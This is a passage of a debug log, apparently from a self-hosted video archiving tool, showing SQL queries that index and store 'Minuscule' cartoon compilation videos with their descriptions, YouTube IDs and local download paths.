07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Ugly | S01E05\n00:04:47 | The Caterpillar Who Wanted To See The Ocean | S01E29\n00:09:35 | Caterpillars in Pairs | S01E06\n00:14:22 | City Caterpillar And Butterfly Of The Fields | S01E30\n00:19:05 | Caterpillar Dream | S01E20\n00:23:55 | Narcissus | S01E47\n00:28:43 | Shell-Less | S01E19\n00:33:27 | Lettuce | S01E48\n00:38:13 | The Apple Of Concord | S01E36\n00:43:00 | The Caterpillar and the Brook | S01E08\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ugly #admiration #caterpillar #butterfly #ocean #sunset #beach #Minuscule #nature #insects #ladybugs #animatedseries", "Ugly | Minuscule 🍃 60' Compilation", "A3ltLruHCPQ", 2900, false, 4, "https://www.youtube.com/watch?v=A3ltLruHCPQ", "/downloads/Miniscule Season 1/2025-08-28 Ugly | Minuscule 🍃 60' Compilation/Ugly | Minuscule 🍃 60' Compilation [A3ltLruHCPQ].mkv", false, ~U[2025-08-28 10:00:12Z]] 00:54:32.356 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.357 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-19 06:00:11Z], 4] 00:54:32.361 [debug] QUERY OK source="media_items" db=2.2ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Some Weird Fly | S01E78\n00:04:29 | The Last Supper | S01E25\n00:09:18 | Cherry Tomato | S01E77\n00:13:57 | The Ladybug | S01E01\n00:18:34 | Dragonflies | S01E33\n00:23:18 | United We Stand | S01E23\n00:27:45 | Insect High Velocity | S01E53\n00:32:24 | The Zzzzzz Patrol | S01E39\n00:37:02 | Horsefly | S01E21\n00:41:44 | The Wild Bunch | S01E74\n00:46:23 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #cow #aggressive #ladybug #flies #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Some Weird Fly | Minuscule 🍃 60' Compilation", "f45e6b3e-1e2a-4d0e-bce1-295510099e88", "FXHKgSb-GJI", 3093, false, 4, "https://www.youtube.com/watch?v=FXHKgSb-GJI", 27, "/downloads/Miniscule Season 1/2025-08-19 Some Weird Fly | Minuscule 🍃 60' Compilation/Some Weird Fly | Minuscule 🍃 60' Compilation [FXHKgSb-GJI].mkv", false, false, false, [], 1, ~U[2025-08-19 06:00:11Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Some Weird Fly | S01E78\n00:04:29 | The Last Supper | S01E25\n00:09:18 | Cherry Tomato | S01E77\n00:13:57 | The Ladybug | S01E01\n00:18:34 | Dragonflies | S01E33\n00:23:18 | United We Stand | S01E23\n00:27:45 | Insect High Velocity | S01E53\n00:32:24 | The Zzzzzz Patrol | S01E39\n00:37:02 | Horsefly | S01E21\n00:41:44 | The Wild Bunch | S01E74\n00:46:23 | Mad Fly | S01E55\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #cow #aggressive #ladybug #flies #picnic #chase #Minuscule #nature #insects #ladybugs #animatedseries", "Some Weird Fly | Minuscule 🍃 60' Compilation", "FXHKgSb-GJI", 3093, false, 4, "https://www.youtube.com/watch?v=FXHKgSb-GJI", "/downloads/Miniscule Season 1/2025-08-19 Some Weird Fly | Minuscule 🍃 60' Compilation/Some Weird Fly | Minuscule 🍃 60' Compilation [FXHKgSb-GJI].mkv", false, ~U[2025-08-19 06:00:11Z]] 00:54:32.361 [debug] QUERY OK source="sources" db=0.3ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.363 [debug] QUERY OK source="media_items" db=0.9ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-23 18:00:51Z], 4] 00:54:32.366 [debug] QUERY OK source="media_items" db=2.4ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:49 | Out Of A Tin Can | S01E65\n00:09:24 | The Escapist | S01E59\n00:13:53 | Interior Cobwebs | S01E64\n00:18:20 | Picnic | S01E24\n00:23:04 | Windswept | S01E68\n00:27:53 | No Luck | S01E62\n00:32:36 | The Ladybug | S01E01\n00:37:12 | O Tannenbaum | S01E71\n00:41:52 | King Size Camembert | S01E45\n00:46:31 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin | Minuscule 🍃 60' Compilation", "dfa0fd5c-448d-4618-8e92-e8cac5f3410a", "vWqhcR23l7I", 3108, false, 4, "https://www.youtube.com/watch?v=vWqhcR23l7I", 28, "/downloads/Miniscule Season 1/2025-08-23 Zzzeplin | Minuscule 🍃 60' Compilation/Zzzeplin | Minuscule 🍃 60' Compilation [vWqhcR23l7I].mkv", false, false, false, [], 1, ~U[2025-08-23 18:00:51Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Zzzeplin | S01E22\n00:04:49 | Out Of A Tin Can | S01E65\n00:09:24 | The Escapist | S01E59\n00:13:53 | Interior Cobwebs | S01E64\n00:18:20 | Picnic | S01E24\n00:23:04 | Windswept | S01E68\n00:27:53 | No Luck | S01E62\n00:32:36 | The Ladybug | S01E01\n00:37:12 | O Tannenbaum | S01E71\n00:41:52 | King Size Camembert | S01E45\n00:46:31 | The Bridge On The River Zzzzzzz | S01E18\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#spider #balloon #web #air #fly #trap #harmony #Minuscule #nature #insects #ladybugs #animatedseries", "Zzzeplin | Minuscule 🍃 60' Compilation", "vWqhcR23l7I", 3108, false, 4, "https://www.youtube.com/watch?v=vWqhcR23l7I", "/downloads/Miniscule Season 1/2025-08-23 Zzzeplin | Minuscule 🍃 60' Compilation/Zzzeplin | Minuscule 🍃 60' Compilation [vWqhcR23l7I].mkv", false, ~U[2025-08-23 18:00:51Z]] 00:54:32.367 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.368 [debug] QUERY OK source="media_items" db=0.9ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-14 10:01:34Z], 4] 00:54:32.371 [debug] QUERY OK source="media_items" db=2.3ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Come Christmas | S01E63\n00:04:38 | The Mosquito | S01E58\n00:08:48 | The Winter Of Our Discontent | S01E67\n00:13:37 | O Tannenbaum | S01E71\n00:18:16 | A Mosquito Day Afternoon | S01E72\n00:22:56 | Bless You! | S01E66\n00:27:07 | Interior Cobwebs | S01E64\n00:31:34 | King Size Camembert | S01E45\n00:36:13 | Picnic | S01E24\n00:40:57 | Windswept | S01E68\n00:45:46 | A Gust Of Wind | S01E13\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Christmas #snowing #mosquito #fireplace #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "Come Christmas | Minuscule 🍃 60' Compilation", "e894f96f-727f-40ef-8f6b-f86e533d1893", "uvcd_nvOz7g", 3059, false, 4, "https://www.youtube.com/watch?v=uvcd_nvOz7g", 29, "/downloads/Miniscule Season 1/2025-08-14 Come Christmas | Minuscule 🍃 60' Compilation/Come Christmas | Minuscule 🍃 60' Compilation [uvcd_nvOz7g].mkv", false, false, false, [], 1, ~U[2025-08-14 10:01:34Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Come Christmas | S01E63\n00:04:38 | The Mosquito | S01E58\n00:08:48 | The Winter Of Our Discontent | S01E67\n00:13:37 | O Tannenbaum | S01E71\n00:18:16 | A Mosquito Day Afternoon | S01E72\n00:22:56 | Bless You! | S01E66\n00:27:07 | Interior Cobwebs | S01E64\n00:31:34 | King Size Camembert | S01E45\n00:36:13 | Picnic | S01E24\n00:40:57 | Windswept | S01E68\n00:45:46 | A Gust Of Wind | S01E13\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Christmas #snowing #mosquito #fireplace #trapped #domino #surprises #Minuscule #nature #insects #ladybugs #animatedseries", "Come Christmas | Minuscule 🍃 60' Compilation", "uvcd_nvOz7g", 3059, false, 4, "https://www.youtube.com/watch?v=uvcd_nvOz7g", "/downloads/Miniscule Season 1/2025-08-14 Come Christmas | Minuscule 🍃 60' Compilation/Come Christmas | Minuscule 🍃 60' Compilation [uvcd_nvOz7g].mkv", false, ~U[2025-08-14 10:01:34Z]] 00:54:32.372 [debug] QUERY OK source="sources" db=0.4ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.373 [debug] QUERY OK source="media_items" db=0.9ms idle=6.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-12 06:00:06Z], 4] 00:54:32.376 [debug] QUERY OK source="media_items" db=2.1ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Dragonflies | S01E33\n00:04:43 | The Ladybug | S01E01\n00:09:20 | The Wild Bunch | S01E74\n00:13:59 | The Zzzzzz Patrol | S01E39\n00:18:38 | Mad Fly | S01E55\n00:23:17 | The Last Supper | S01E25\n00:28:06 | Some Weird Fly | S01E78\n00:32:35 | Cherry Tomato | S01E77\n00:37:14 | Horsefly | S01E21\n00:41:56 | Insect High Velocity | S01E53\n00:46:35 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#dragonflies #racket #justice #ladybug #bees #chase #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Dragonflies | Minuscule 🍃 60' Compilation", "b6dfe1ee-5567-45e2-9c45-8b586bd66b1a", "3R4RspFR8b4", 3105, false, 4, "https://www.youtube.com/watch?v=3R4RspFR8b4", 30, "/downloads/Miniscule Season 1/2025-08-12 Dragonflies | Minuscule 🍃 60' Compilation/Dragonflies | Minuscule 🍃 60' Compilation [3R4RspFR8b4].mkv", false, false, false, [], 1, ~U[2025-08-12 06:00:06Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Dragonflies | S01E33\n00:04:43 | The Ladybug | S01E01\n00:09:20 | The Wild Bunch | S01E74\n00:13:59 | The Zzzzzz Patrol | S01E39\n00:18:38 | Mad Fly | S01E55\n00:23:17 | The Last Supper | S01E25\n00:28:06 | Some Weird Fly | S01E78\n00:32:35 | Cherry Tomato | S01E77\n00:37:14 | Horsefly | S01E21\n00:41:56 | Insect High Velocity | S01E53\n00:46:35 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#dragonflies #racket #justice #ladybug #bees #chase #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Dragonflies | Minuscule 🍃 60' Compilation", "3R4RspFR8b4", 3105, false, 4, "https://www.youtube.com/watch?v=3R4RspFR8b4", "/downloads/Miniscule Season 1/2025-08-12 Dragonflies | Minuscule 🍃 60' Compilation/Dragonflies | Minuscule 🍃 60' Compilation [3R4RspFR8b4].mkv", false, ~U[2025-08-12 06:00:06Z]] 00:54:32.377 [debug] QUERY OK source="sources" db=0.4ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.378 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-05 06:00:47Z], 4] 00:54:32.382 [debug] QUERY OK source="media_items" db=2.4ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Jump, Jump, Jump | S01E76\n00:04:21 | The Infernal Anthill | S01E35\n00:08:41 | The Wild Bunch | S01E74\n00:13:20 | Insect High Velocity | S01E53\n00:17:58 | The Dung Beetle Battle | S01E15\n00:22:44 | The Ladybug | S01E01\n00:27:20 | Horsefly | S01E21\n00:32:02 | A Rolling Snail Gathers No Moss | S01E49\n00:36:38 | The Noodle Battle | S01E70\n00:41:12 | Ladybugs | S01E17\n00:45:52 | Catapult | S01E27\n00:50:39 | Hiccups | S01E26\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Jump #Grasshopper #Competition #Silly #competition #architecture #imagination #gravity #Minuscule #nature #insects #ladybugs #animatedseries", "Jump, Jump, Jump | Minuscule 🍃 65' Compilation", "f38162e9-04fa-4593-aa35-68c59b982be3", "t7FndDVIcVk", 3354, false, 4, "https://www.youtube.com/watch?v=t7FndDVIcVk", 31, "/downloads/Miniscule Season 1/2025-08-05 Jump, Jump, Jump | Minuscule 🍃 65' Compilation/Jump, Jump, Jump | Minuscule 🍃 65' Compilation [t7FndDVIcVk].mkv", false, false, false, [], 1, ~U[2025-08-05 06:00:47Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Jump, Jump, Jump | S01E76\n00:04:21 | The Infernal Anthill | S01E35\n00:08:41 | The Wild Bunch | S01E74\n00:13:20 | Insect High Velocity | S01E53\n00:17:58 | The Dung Beetle Battle | S01E15\n00:22:44 | The Ladybug | S01E01\n00:27:20 | Horsefly | S01E21\n00:32:02 | A Rolling Snail Gathers No Moss | S01E49\n00:36:38 | The Noodle Battle | S01E70\n00:41:12 | Ladybugs | S01E17\n00:45:52 | Catapult | S01E27\n00:50:39 | Hiccups | S01E26\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Jump #Grasshopper #Competition #Silly #competition #architecture #imagination #gravity #Minuscule #nature #insects #ladybugs #animatedseries", "Jump, Jump, Jump | Minuscule 🍃 65' Compilation", "t7FndDVIcVk", 3354, false, 4, "https://www.youtube.com/watch?v=t7FndDVIcVk", "/downloads/Miniscule Season 1/2025-08-05 Jump, Jump, Jump | Minuscule 🍃 65' Compilation/Jump, Jump, Jump | Minuscule 🍃 65' Compilation [t7FndDVIcVk].mkv", false, ~U[2025-08-05 06:00:47Z]] 00:54:32.382 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.384 [debug] QUERY OK source="media_items" db=0.8ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 18:00:50Z], 4] 00:54:32.387 [debug] QUERY OK source="media_items" db=2.2ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wild Bunch | S01E74\n00:04:38 | Insect High Velocity | S01E53\n00:09:17 | The Ladybug | S01E01\n00:13:54 | Horsefly | S01E21\n00:18:35 | A Rolling Snail Gathers No Moss | S01E49\n00:23:11 | Catapult | S01E27\n00:27:58 | Some Weird Fly | S01E78\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #flies #swarm #challenge #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "The Wild Bunch | Minuscule 🍃 40' Compilation", "b7e2ac49-2664-4dfa-a7e0-2cfdc9f6507f", "KjAEj_jj7wE", 1979, false, 4, "https://www.youtube.com/watch?v=KjAEj_jj7wE", 32, "/downloads/Miniscule Season 1/2025-08-02 The Wild Bunch | Minuscule 🍃 40' Compilation/The Wild Bunch | Minuscule 🍃 40' Compilation [KjAEj_jj7wE].mkv", false, false, false, [], 1, ~U[2025-08-02 18:00:50Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives 